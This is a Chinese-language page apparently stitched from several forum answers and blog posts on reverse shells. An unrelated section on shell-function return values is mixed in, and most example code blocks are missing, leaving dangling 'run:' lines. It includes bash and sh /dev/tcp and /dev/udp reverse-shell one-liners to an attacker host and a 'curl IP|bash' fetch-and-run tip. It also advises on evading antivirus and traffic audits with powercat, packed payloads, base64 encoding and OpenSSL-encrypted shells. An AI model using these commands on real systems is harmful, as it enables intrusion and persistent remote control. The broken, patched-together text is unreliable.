【Reverse shell】也叫反彈shell,是滲透攻擊的基本功,如果你找到機會讓遠端的機器執行你注入的代碼,你的代碼怎樣才能為你生成一個可以交互操作的shell呢?
你可以在本地先用nc啟動一個監聽進程【nc -l 埠號】
然後在遠端執行【bash -i >& /dev/tcp/你本地的IP/埠號 0>&1】即可。
『貳』 如何判斷linux是否反彈shell
判斷文件大小是不是0kb行不行?使用-s if [ -s filenpath]; then 文件內容不為空 else 文件內容為空 fi
『叄』 每天三分鍾搞定linux shell腳本26 函數返回值
函數可以產生返回值,有3個方法。
1)默認情況下是 最後一條語句對應的退出狀態碼
2) return 一個整數值
3)使用 echo語句 指定輸出
針對 方法1 建立如下腳本:
運行後輸出結果為:
針對 方法2 建立腳本:
運行後結果為:
針對 方法3 建立腳本
運行後輸出結果為:
方法3使用echo語句來返回結果,而且 並沒有把這個輸出到stdout 中。
函數返回數組與參數傳遞數組一樣,使用echo語句。舉例如下:
運行後輸出結果為:
『肆』 反彈shell小結
反彈shell(reverse shell),就是控制端監聽在某TCP/UDP埠,被控端發起請求到該埠,並將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標准shell對應,本質上是網路概念的客戶端與服務端的角色反轉。
通常用於被控端因防火牆受限、許可權不足、埠被佔用等情形。
舉例:假設我們攻擊了一台機器,打開了該機器的一個埠,攻擊者在自己的機器去連接目標機器(目標ip:目標機器埠),這是比較常規的形式,我們叫做正向連接。遠程桌面、web服務、ssh、telnet等等都是正向連接。那麼什麼情況下正向連接不能用了呢?
有如下情況:
那麼反彈就很好理解了,攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈連接。
簡而言之,反彈shell就是要我們的vps伺服器設置監聽,然後讓伺服器反彈一個shell來連接我們自己的主機,從而使我們能遠程式控制制我們的主機
客戶端執行:
服務端成功接收,客戶端執行命令成功。
成功反彈:
當然由於各種環境不同,服務端不一定有nc,所以還要靠其他手段各顯神通。
項目地址: https://eternallybored.org/misc/netcat/
powercat是netcat的powershell版本,功能免殺性都要比netcat好用的多
注意某些特殊情況需要將powershell腳本進行base64編碼,才能成功反彈。比如sqlserver的命令執行、php中system函數的執行
base64編碼處理:
目標機器執行:
適用於python2環境
考慮實戰中可能沒有python環境
可以先在本地上使用pyinstaller將改文件打包為exe文件,直接上傳exe運行即可。(推薦使用)
實際測試bypass av效果也比較好。
其實msf有相應的模塊可以生成dll,沒事也可以用用這個小工具,輕便快捷,一鍵操作,免殺能力一般,但起碼比msf強,msf生成的基本會被通殺。
將生成的dll文件上傳至被攻擊端
運行命令:
攻擊端用nc監聽,即可反彈cmd
github項目地址: https://github.com/Ridter/MyJSRat
攻擊端運行:
被控端運行:
首先在目標上查看相關命令是否存在:
某些目標的 nc 不支持 -e 參數,有兩個解決思路
要麼使用其他版本的 nc:
要麼配合命名管道進行反彈:
首先,在攻擊者vps的web目錄裡面創建一個index文件(index.php或index.html),內容如下:
然後再目標機上執行如下,即可反彈shell:
補充: curl IP|bash 中的IP可以是任意格式的,可以是十進制、十六進制、八進制、二進制等等
保存為Revs.java文件,編譯執行,成功反彈shell。
項目地址: https://github.com/iagox86/dnscat2
具體原理請參考: python正向連接後門
最後,推薦一個一鍵在線生成反彈shell網站:
https://krober.biz/misc/reverse_shell.php
windows命令行反彈shell(一)
Windows/Linux 下nc 反彈shell
反彈shell原理與實現
Reverse shell cheatsheet
反彈shell的各種姿勢
『伍』 linux反彈shell 什麼意思
簡單來說,Shell就是實現用戶命令的介面,通過這個介面我們就能實現對計算機的控制,比如我們常見的ssh就是執行的Shell命令實現對遠程對伺服器的控制。
那反彈Shell是啥呢?其英文名叫做Reverse
Shell,具體干什麼的呢?就是控制端首先監聽某個TCP/UDP埠,然後被控制端向這個埠發起一個請求,同時將自己命令行的輸入輸出轉移到控制端,從而控制端就可以輸入命令來控制被控端了。
比如說,我們有兩台主機A、B,我們最終想實現在A上控制B。那麼如果用正向Shell,其實就是在A上輸入B的連接地址,比如通過ssh連接到
B,連接成功之後,我們就可以在A上通過命令控制B了。
如果用反向Shell,那就是在A上先開啟一個監聽埠,然後讓B去連接A的這個埠,連接成功之後,A這邊就能通過命令控制B了。
反彈shell有什麼用?
還是原來的例子,我們想用A來控制B,如果想用ssh等命令來控制,那得輸入B的sshd地址或者埠對吧?但是在很多情況下,由於防火牆、安全組、區域網、NAT等原因,我們實際上是無法直接連接到B的,比如:
A雖然有公網IP,但B是一個處於內網的機器,A就沒法直接連到B上。
B上開了防火牆或者安全組限制,sshd的服務埠22被封閉了。
B是一台撥號主機,其IP地址經常變動。
假如B被攻擊了,我們想讓B向A匯報自己的狀況,那自然就需要B主動去連接A。
如果是這些情況,我們就可以用反彈Shell用A來控制B了。
『陸』 linux反彈shell知識匯總
shell是滲透中常用的名詞,像getshell,webshell,反彈shell等等,都和shell相關。
網路解釋的shell:
在計算機科學中,Shell俗稱殼(用來區別於核),是指「為使用者提供操作界面」的軟體(命令解析器)。它類似於DOS下的command.com和後來的cmd.exe。它接收用戶命令,然後調用相應的應用程序。
簡單說用戶通過殼訪問操作系統內核的服務,也就是由殼到內核,執行系統命令。
getshell:獲取到目標的命令執行許可權
webshell:指網站後門,通過web服務進行命令執行
反彈shell:把命令行的輸入輸出轉移到其它主機
1、webshell下執行命令不交互,為了方便提權或其它操作必須要反彈shell。
2、反彈shell相當於新增一個後門,當webshell被發現刪除後許可權不會丟失。
使用whereis命令去確定目標支持的反彈方法。
bash反彈是實戰中用的最多的方法
把命令拆開分析:
1、bash -i代表在本地打開一個bash
2、/dev/tcp/是Linux中的一個特殊設備,打開這個文件就相當於發出了一個socket調用,建立一個socket連接
3、>&後面跟上/dev/tcp/ip/port這個文件代表將標准輸出和標准錯誤輸出重定向到這個文件,也就是傳遞到遠程vps
4、遠程vps開啟對應的埠去監聽,就會接收到這個bash的標准輸出和標准錯誤輸出。
需要目標主機安裝了nc
使用其他版本的 nc
配合命名管道進行反彈:
首先使用socket與遠程建立起連接,接下來使用到了os庫的p2方法將標准輸入、標准輸出、標准錯誤輸出重定向到遠程,p2這個方法有兩個參數,分別為文件描述符fd1和fd2,當fd2參數存在時,就關閉fd2,然後將fd1代表的那個文件強行復制給fd2,在這里可以把fd1和fd2看作是C語言里的指針,將fd1賦值給fd2,就相當於將fd2指向於s.fileno(),fileno()返回的是一個文件描述符,在這里也就是建立socket連接返回的文件描述符,列印出來數值為3
0代表標准輸入、1代表標准輸出、2代表標准錯誤輸出、3代表重定向到遠程
接下來使用os的subprocess在本地開啟一個子進程,傳入參數「-i」使bash以交互模式啟動,標准輸入、標准輸出、標准錯誤輸出又被重定向到了遠程,這樣的話就可以在遠程執行輸入命令了。
需要php關閉safe_mode選項,才可以使用exec函數。
使用php的exec函數執行方法1反彈shell的命令
使用php的fsockopen去反彈shell
exec反彈
perl反彈
ruby反彈
lua反彈
通過上述命令反彈shell得到的shell並不能稱為完全交互的shell,通常稱之為'啞'shell。
通常存在以下缺點
因此有必要去獲取一個完全交互的shell。
1、在啞 shell 中執行python,使用pty模塊,創建一個原生的終端,命令如下:
運行完後
2、鍵入 Ctrl-Z暫停任務,切回到 VPS 的命令行中;在 VPS 中執行:
3、在啞 shell 中執行,得到一個完全交互的shell,支持命令補全、歷史命令查看、語法高亮、vim編輯等功能。
部分防護設備會對內外網傳輸流量進行審查,反彈shell執行命令都是以明文進行傳輸的,很容易被查殺。
因此需要將原始流量使用 openssl 加密,繞過流量審計設備。
1、首先vps上生成SSL證書的公鑰/私鑰對,信息懶得填,一直回車即可。
2、vps使用 OpenSSL 監聽一個埠
3、目標主機執行反彈加密shell
反彈成功,成功接收到ssl流量加密的shell。
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://www.sohu.com/a/161766202_709042
https://www.freebuf.com/vuls/211847.html
https://www.freebuf.com/articles/system/178150.html
https://zhuanlan.hu.com/p/138393396
https://www.cnblogs.com/Dubing-ydfc/p/11749241.html
『柒』 如何讓linux反彈一個加密的shell
https://jingyan..com/article/574c5219776fa06c8d9dc120.html
-供參考
『捌』 linux提權一定要反彈shell嗎
1、知道root密碼的情況下可以使用su -
2、沒有root密碼的情況下,事先讓root把普通用戶加入sudoers,並分配許可權。使用sudo
『玖』 linux socket server怎麼退到shell
退到shell?
是要做一個反彈shell後門程序吧
要反彈一個shell的話可以在一個新進程里
通過exce族函數調用一個互動式shell
但是之前要將該進程的標准輸入,標准輸出以及標准出錯全部重定向到socket標識符上
這樣客戶端可以通過發送命令給伺服器
伺服器中shell進程執行後會將輸出通過重定向發送給客戶端
從而完成了一個反彈式shell後門
『拾』 反彈shell基礎
將這句話拆開來看, bash -i , >& , /dev/tcp/ , 0>&1 ,有三個知識點。
(1) bash -i 是打開一個交互的bash
(2) /dev/tcp/ 是Linux中的一個特殊設備,打開這個文件就相當於發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/。
(3) >& 和 0>&1 這兩個涉及到Linux文件描述符和重定向。此處的 & 是取地址符
(1)文件描述符
Linux啟動時會默認打開三個文件描述符(實現文件讀寫操作),Linux把鍵盤、顯示器等設備也當做文件用文件描述符進行控制,如果要修改默認設備就需要進行重定向。
(2)重定向
輸入的重定向包括, < 和 << ,輸出的重定向包括, > 和 >> , n< file 代表將文件描述符 n 重定向到file指代的文件(以只讀方式打開),如果n省略就是0(標准輸入)。同理如果是輸出的重定向, n> file ,n省略則默認是1。
錯誤輸出的重定向有三種形式
其中, &> 和 >& 是一個意思,都是將標准錯誤輸出合並到標准輸出中。 2>&1 和 >file 可以用如下過程圖表示
需要注意的是,上述輸入輸出重定向,將輸入和輸出綁定到文件或者設備只對該條指令有效,如果想要一直有效,就需要添加exec指令 exec n </> file/n
(3)復制
與之形似的是文件描述符的復制 n<&m / n>&m ,這兩個都是將文件描述符 n 復制到 m ,兩者的區別是,前者是以只讀的形式打開,後者是以寫的形式打開,因為讀/寫方式對於復制操作幾乎沒有影響所以兩者基本可以看作是等價的。這里的 & 目的是區分以數字為名字的文件和文件描述符的數值,如果沒有 & 系統會認為是將文件描述符重定向到了一個數字作為文件名的文件,而不是另一個文件描述符。
此時再來看這句命令,可與理解為,創建一個可交互的bash和一個到172.168.1.1:80的TCP鏈接,然後將bash的輸入輸出錯誤都重定向到在172.168.1.1:80監聽的進程。
首先,反彈shell可以理解為,攻擊者監聽在TCP/UDP埠,被控制端的請求被轉發到該埠,可以控制其輸入輸出。一般攻擊者攻擊了一台機器,並用自己的主機去連接該機器的埠,這是一種「正向連接」,遠程桌面、web服務、ssh、telnet等都是正向連接的一種。但是如果被攻擊的機器處於內網中可能造成無法連接,或者有防火牆等限制,再或者攻擊者需要進行實時控制,正向連接是無法滿足需要的。所以有了「反向連接」,即讓被攻擊的主機主動去連接攻擊者的伺服器。
所以我們還可以從反向連接的角度來理解一下 0>&1 。如果只是 bash -i >& /dev/tcp/172.168.1.1/80 ,將輸出描述符連接到了埠,該埠可接收到我們的輸出,即我們正向連接了被攻擊者的機器,但是我們輸入shell後是無法看到回顯的。回顯只會顯示在被攻擊者的機器上。如果我們想要得到回顯,需要將被攻擊機器的輸入描述符連接到我們監聽的埠上。
也就是說如果我們想要看到回顯,除了先將輸出描述符連接到埠上,還需要將其輸入描述符也連接到埠上。即輸入描述符0和輸出描述符1連接相同, 0>&1 即可解決。這就形成了一個迴路,實現了遠程互動式shell的功能。
不過這樣的一條指令還不夠完善,因為這條指令會使得我們在被攻擊的機器上依然能看到我們在攻擊者機器中執行的指令,那麼解決辦法就是將錯誤輸出和標准輸出進行混合,即將 bash -i > 換為 bash -i >&
Bash相關shell主要有以下幾種:
剛才詳細講的是第一種bash shell,第二種是將 >& 這種錯誤輸出的混合方式改成了 2>&1 ,2代表錯誤輸出,1代表標准輸出,2指向了1,即輸出混合了。文件描述符的復制 n<&m / n>&m 兩種雖然讀寫不同但是對於shell的效果是等價的,即和 0>&1 效果相同。所以第二種就是第一種的變種。第四種同理,輸入、輸出、報錯都定位到同一位置。第五種選了一個新的文件描述符196,道理類似。
對於第三種bash shell,exec已經在前面提到過可以持續連接,後面的關鍵點如下:
從文件中依次讀取每一行,將其賦值給 line 變數(其他也可),之後在循環中對line進行操作。這里不再從文件中讀取,而是通過管道符對攻擊者機器上輸入的命令進行依次執行,並且將標准輸出和標准錯誤輸出都重定向到了文件描述符5,也就是攻擊機上,實現互動式shell的功能。
另外,本文最開始的時候說到/dev/tcp/是Linux中的一個特殊設備類似的還有/dev/udp/,按照tcp的方式直接改成udp就行。
sh -i >& /dev/udp/172.168.1.1/80 0>&1
除了bash還有很多其他借用第三方工具(nc、telnet、socat、xterm)或使用腳本語言(python、Perl、Ruby、Go、PHP、Lua、JAVA、gawk、Powershell)反彈shell的方式,這里就不一一列舉了,原理類似。寫這篇文章總結shell的過程中順手將網路上的shell進行了收集,將近80條,寫了BashShell.py,就是個簡單的查詢shell的工具,有需要的下方留言